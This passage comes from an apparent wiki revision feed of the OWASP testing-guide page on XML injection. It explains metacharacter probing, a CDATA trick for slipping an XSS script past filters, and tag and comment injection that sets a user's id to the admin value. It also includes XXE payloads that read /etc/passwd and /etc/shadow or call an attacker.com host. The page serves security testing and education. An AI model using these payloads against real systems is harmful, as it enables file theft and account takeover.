 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed and will be considered as a text value.&lt;br /&gt;
&lt;br /&gt;
In case  a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA sequence ']]&amp;gt;' in order to try to invalidate xml.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid xml representation.&lt;br /&gt;
&lt;br /&gt;
* '''External Entity: '''&lt;br /&gt;
Another test is related to CDATA tag. When the XML document will be parsed, the CDATA value will be eliminated, so it is possible to add a script if the tag contents will be showed in the HTML page.&lt;br /&gt;
Suppose to have a node containing text that will be displayed at the user. If this text could be modified, as the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
it is possible to avoid input filter by insert an HTML text that uses CDATA tag. For example inserting the following value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
we will obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
that in analysis phase will eliminate the CDATA tag and will insert the following value in the HTML:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
In this case the application will be exposed at a XSS vulnerability. So we can insert some code inside the CDATA tag to avoid the input validation filter.&lt;br /&gt;
&lt;br /&gt;
'''Entity:'''&lt;br /&gt;
It's possible to define an entity using the DTDs. Entity-name as ''&amp;amp;amp;.'' is an example of entity. It's possible to specify a URL as entity: in this way you create a possible vulnerability by XML External Entity (XEE). So, the last test to try is formed by the following strings:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This test could crash the web server (linux system), because we are trying to create an entity with a infinite number of chars.&lt;br /&gt;
Other tests are the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The goal of these tests is to obtain informations about the structure of the XML data base. If we analyze these errors We can find a lot of useful informations in relation to the adopted technology.&lt;br /&gt;
&lt;br /&gt;
=== Tag Injection ===&lt;br /&gt;
&lt;br /&gt;
Once the first step is accomplished, the tester will have &lt;br /&gt;
some informations about xml structure, so it will be possible to &lt;br /&gt;
try to inject xml data and tags.&lt;br /&gt;
&lt;br /&gt;
Considering previous example, by inserting the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
the application will build a new node and append it to the XML database:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The resulting xml file will be well formed and it is likely that the userid tag &lt;br /&gt;
will be cosidered with the latter value (0 = admin id).&lt;br /&gt;
The only shortcoming is that userid tag exists two times in the last user node, and&lt;br /&gt;
often xml file is associated with a schema or a DTD.&lt;br /&gt;
Let's suppose now that xml structure has the following DTD:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
to be noted that userid node is defined with cardinality 1 (userid).&lt;br /&gt;
&lt;br /&gt;
So if this occurs, any simple attack won't be accomplished when xml is validated against the&lt;br /&gt;
specified DTD.&lt;br /&gt;
&lt;br /&gt;
If the tester can control some value for nodes enclosing userid tag (like in this example),&lt;br /&gt;
by injection a comment start/end sequence like the following:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--'''&lt;br /&gt;
 '''E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
xml database file will be :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
This way original ''userid'' tag will be commented out and the one injected will be &lt;br /&gt;
parsed in compliance to DTD rules.&amp;lt;br&amp;gt;&lt;br /&gt;
The result is that user '' 'tony' '' will be logged with ''userid=0'' ( which could be an administrator uid)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Author1, Author2: &amp;quot;Title&amp;quot; - http://www.ietf.org/rfc/rfc2254.txt&amp;lt;br&amp;gt;&lt;br /&gt;
* [2]...&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Author: &amp;quot;Title&amp;quot; - http://www.owasp.org &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>S4tan</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=12791</id>
		<title>Testing for XML Injection (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_XML_Injection_(OTG-INPVAL-008)&amp;diff=12791"/>
				<updated>2006-11-15T19:01:40Z</updated>
		
		<summary type="html">&lt;p&gt;S4tan: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
We talk about XML Injection testing when we try to inject a particular XML doc to the application: if the XML parser fails to make an  appropriate data validation the test will results positive. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
In this section we describe a pratical example of XML Injection: first we define an xml style communication, and we show how it works. Then we describe the discovery method in which we try to insert xml metacharacters.&lt;br /&gt;
Once the first step is accomplished, the tester will have some informations about xml structure, so it will be possible to try to inject xml data and tags (Tag Injection).&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
Let's suppose there is a web application using an xml style communication &lt;br /&gt;
in order to perform users registration.&lt;br /&gt;
This is done by creating and adding a new &amp;lt;user&amp;gt; node on an xmlDb file.&lt;br /&gt;
Let's suppose xmlDB file is like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
When a user register himself by filling an html form, &lt;br /&gt;
the application will receive user's data in a standard request which&lt;br /&gt;
for the sake of simplicity will be supposed to be sent as GET request.&lt;br /&gt;
&lt;br /&gt;
For example the following values:&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
Will produce the request:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
to the application, which, afterwards, will build the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which will be added to the xmlDB:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;userid/&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
=== Discovery ===&lt;br /&gt;
The first step in order to test an application for the presence of a XML Injection&lt;br /&gt;
vulnerability, consists in trying to insert xml metacharacters.&amp;lt;br&amp;gt;&lt;br /&gt;
A list of xml metacharacters is:&lt;br /&gt;
* '''Single quote: ' ''' - When not sanitized, this character could throw an exception during xml&lt;br /&gt;
parsing if the injected value is going to be part of an attribute value in a tag.&lt;br /&gt;
As an example, let's suppose there is the following attribute:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So, if:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
is instantiated and then is inserted into attrib value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
The xml document will be no more well formed.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote: &amp;quot; '''- this character has the same means of double quotes and it could be &lt;br /&gt;
used in case attribute value is enclosed by double quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
So if:&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
the substitution will be:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
and the xml document will be no more valid.&lt;br /&gt;
&lt;br /&gt;
* '''Angular parenthesis: &amp;gt; and &amp;lt;''' - By adding an open or closed angular parenthesis &lt;br /&gt;
in a user input like the following:&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
the application wil build a new node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
but the presence of an open '&amp;lt;' will deny the validation of xml data.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Comment tag: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  This sequence of characters is interpreted as the beginning/&lt;br /&gt;
end of a comment. So by injecting one of them in Username parameter:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the application wil build a node like the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which won't be a valid xml sequence.&lt;br /&gt;
&lt;br /&gt;
* '''Ampersand: &amp;amp;amp; '''-   The ampersand is used in xml syntax to represent XML Entities.&lt;br /&gt;
that is, by using an arbitrary entity like '&amp;amp;amp;symbol;' it is possible to &lt;br /&gt;
map it with a character or a string which will be considered as non-xml text.&lt;br /&gt;
&lt;br /&gt;
For example:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
is well formed and valid, and represent the '&amp;lt;' ASCII character.&lt;br /&gt;
&lt;br /&gt;
If '&amp;amp;amp;' is not encoded itself with &amp;amp;amp;amp; it could be used to test XML injection.&lt;br /&gt;
&lt;br /&gt;
Infact if a input like the following is provided:&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
a new node will be created:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
but as &amp;amp;amp;foo doesn't has a final ';' and moreover &amp;amp;foo; entity is defined nowhere so xml is not valid as well.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''CDATA begin/end tags: &amp;lt;![CDATA[ / ]]&amp;gt;''' - When CDATA tag is used, every character enclosed by it is not parsed by xml parser. &lt;br /&gt;
Often this is used when there are metacharacters inside a text node&lt;br /&gt;
which are to be considered as text values.&lt;br /&gt;
&lt;br /&gt;
For example if there is the need to represent the string '&amp;lt;foo&amp;gt;' inside a text node&lt;br /&gt;
it could be used CDATA in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
so that '&amp;lt;foo&amp;gt;' won't be parsed and will be considered as a text value.&lt;br /&gt;
&lt;br /&gt;
In case  a node is built in the following way:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
the tester could try to inject the end CDATA sequence ']]&amp;gt;' in order to try to invalidate xml.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
this will become:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
which is not a valid xml representation.&lt;br /&gt;
&lt;br /&gt;
* '''External Entity: '''&lt;br /&gt;
Another test is related to CDATA tag. When the XML document will be parsed, the CDATA value will be eliminated, so it is possible to add a script if the tag contents will be showed in the HTML page.&lt;br /&gt;
Suppose to have a node containing text that will be displayed at the user. If this text could be modified, as the following:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
it is possible to avoid input filter by insert an HTML text that uses CDATA tag. For example inserting the following value:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
we will obtain the following node:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
that in analysis phase will eliminate the CDATA tag and will insert the following value in the HTML:&lt;br /&gt;
&lt;br /&gt;
